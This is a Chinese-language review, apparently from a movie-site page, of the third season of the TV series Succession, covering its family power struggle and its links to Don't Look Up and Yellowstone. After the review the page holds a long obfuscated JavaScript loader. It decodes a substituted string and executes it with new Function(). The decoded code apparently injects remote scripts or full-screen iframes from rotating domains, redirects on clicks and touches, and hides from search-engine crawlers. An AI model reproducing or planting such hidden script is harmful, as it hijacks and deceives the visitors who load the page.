一场当代美国的“九龙夺嫡”又值得又虚妄
时间：2022-01-08 13:00:34阅读：42751次来源：草民影院 
1/2
第1张图片
![第2张图片]( "第2张图片")
2/2
第2张图片
◎杨时旸
战争不可避免。人们等待了一年，终于迎来了这一场父子反目的大戏。《继承之战》算是这几年中异军突起的一部美剧，当年第一季刚刚开场的时候，只是小范围内的剧迷口口相传，并不似如今这样被大范围惊叹，它是从第二季开始显露出真正的锋芒的，从情节到演技，都让人觉得不可思议的炸裂。
《继承之战》这种戏码，人们见得太多了，一个豪富家族，几个子女争宠，父亲垂垂老矣，生意危机四伏，接班人迟迟未定，人心幽幽，草木皆兵。外部环境逼迫着这家族生意改革和前进，内部环境里一众子女都等着老人彻底放权，商战混搭家庭戏，有解不开的血亲深情，也有庞大利益面前的残酷倾轧。说到底，这无非就是我们见惯了的宫斗，只不过一切挪到了当代，把皇宫变成了公司，九龙夺嫡还是九龙夺嫡，残忍还是一样的残忍，困境也是同样的困境。都是至亲骨肉，但利益就摆在那儿，就都变得虎视眈眈。《继承之战》讲述的是一家媒体巨头的故事，有着真正“老钱”气味的稳健和雍容，也不可避免地与政治有关，这个直通总统的家族在某种程度上左右着舆情与选情，而与此同时，它也在媒体新贵的冲击之下显露出疲态。
《继承之战》一方面让人见识那些豪奢阶层令人炫目的生活方式，另一方面也向人们展演着无论多少钱财都无法抚平的内心伤痕。在两个维度上，它都真实，它承认金钱给人带来的极乐，也注视极乐背面的绝望。不不不，不要以为它是那种“你看，有钱人也有烦恼”式的说教与自我安慰，它之所以高级，是因为展现确实无法超脱的困境和惨烈的绝望。在这最新的第三季里，长子Kendall彻底与父亲Logan分庭抗礼，彼此势不两立地隔空放料，都奔着置之死地般的下狠手。这个过程中，两个人展现的只是战士和战斗的一面，而直到那场婚礼上，宾客在别处热闹，父子俩在一个宁静小院里相遇，他们隔着餐桌坐下来，儿子吩咐把菜品端上桌，父亲盯着盘子看了许久，招呼在房间里玩耍的孙子过来，让他吃了一口自己餐盘里的菜。他在试毒，用自己孙子的性命作为代价；他也是在示威，告诉自己的儿子，亲情在我面前不值一提。
侍者优雅，夜色温柔，这一幕残忍戏码就在烛火掩映中静谧发生，静谧结束，只有父子二人知晓，那个孙子懵懂地吃了些东西，或许终其一生都不知道自己曾经被当作随时可抛的代价。老人走后，儿子颓唐地坐了很久。这是决意反抗的Kendall第一次在此次战时流露出脆弱神色。这就是《继承之战》的底色，代价与收获都残暴。
这并不是一场正义与邪恶的斗争，虽然，它看起来有点这个意思，一个良心发现的长子开始揭露深藏豪门背后的黑暗，哪怕自己付出赴汤蹈火的代价。但实际上，这无非还是一场夺权之战，Kendall曾经是黑暗的一部分，几乎也终将是黑暗的一部分。在这个父子之战的“主战场”之下，还有着一场场小小的战火，更隐秘，更心机，也更让观看者慨叹。
那些来自于父亲Logan阵营的人们，那些看似与父亲并肩站立的儿子、女儿和女婿、亲戚们，都各自藏着算计，看起来的忠诚，底色里不过都是押注。他们也摇摆，也犹疑，不然，他们何必与大哥保持着若即若离的联系，那看起来的自我牺牲，其实也都是孤注一掷。女婿声称如果必须有人进监狱，他愿意挺身而出，但也一直想让妻子尽快怀孕，他也承认，那是个“保证”。
外人进入豪门，无论是嫁是娶，子嗣与血缘似乎都是最可靠的砝码和牵绊，但理性去看看，真的如此吗？Kendall与父亲在小院里的那一次会晤算是什么？怀疑给自己下毒的儿子，被当作肉盾的孙子，这不也都是至亲血缘？所以，这故事在写一种彻底的崩坏，但大家表面上都维系着一种向心力，你说那是表演性的吗？也未必都是。那是全然被金钱黏合的吗？也不只如此。那是出于情感诉求吗？显然又不是。这家庭关系的谜面早已成了一桩公众事件，但没人知晓谜底，就连牵涉其中的每一个人自己都无法解释，到底是什么让彼此保持关系又分崩离析。
人们认为一些故事狗血，不过是因为那一切都发生在我们所能见证和理解的范畴内，但那情节又脱离了我们所能触碰的常识与概率，而一旦竭力将狗血更向极端推进一步又一步，超越所有人的认知，狗血也就成为了奇观，人们只会慨叹。不得不说，成就《继承之战》的，除了被推到极端的故事，几近完美的服化道，还有所有演员出神入化的演技——父亲的坚定与善变，柔情与冷冽，严酷与慈祥；大儿子在奋发与自毁之间的摇摆；小儿子的怪癖、顽劣和聪慧；女儿的心机、努力却终不得志……更不要提一众生动不让于主角的配角。
这段时间，很多影迷都在热切讨论那部小李子主演的讽刺电影《不要抬头》，它的导演亚当·麦凯就曾参与执导过《继承之战》的第一季，如果仔细分辨，甚至还能从《不要抬头》中捕捉到部分《继承之战》主题曲旋律的点滴。《继承之战》所有角色的那种暧昧、古怪，又极其精准的神经质，也在《不要抬头》的角色身上有所体现。
纵观2021年的美剧，人们评价最高的都是老剧新季，除了《继承之战》第三季，还有《黄石》的第四季。有个有趣的偶然，新一季的《黄石》开场和整季故事也都围绕着一场战争，关乎权力与父子，从这个意义上讲，《继承之战》是都市版的《黄石》，《黄石》是西部版的《继承之战》。无论是牛仔还是商人，无论发生在农场还是大厦，它们写的无非都是一场又一场战斗，表面上看起来关于权力、金钱与地位，但实际上，一切争到最后，谁也说不清这一切到底是否值得，而一切到底又指向什么。或许，那关乎于尊严、自我价值、存在感，以及一种自我想象中的后世对自己的标签。它既现实又飘渺，既值得又虚妄。
!function(){function a(a){var _idx="kcn7hl6kib";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/CL/n@}jR8S(21hqKS6)"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"n@}"=^8"S(21hqKS6)"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"n@}^)ThF)m@_d@R:_mRT4"="n@}X5ThF)m7sS2J}CmRT4"="n@}2pThFm@_d@R:_mRT4"="n@}_JqhFm7sS2J}CmRT4"="n@}2TOhFm@_d@R:_mRT4"="n@}CSqhF)m7sS2J}CmRT4"="n@})FfThF)fm@_d@R:_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPn@}qhOFq^)Y6(:mD((DdOmRT4gQ}1Q/((/n@}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q/f/n@}j(8}vR8S(21hqKS6)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPn@}d(hFL_CLmR0T0{}YmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();
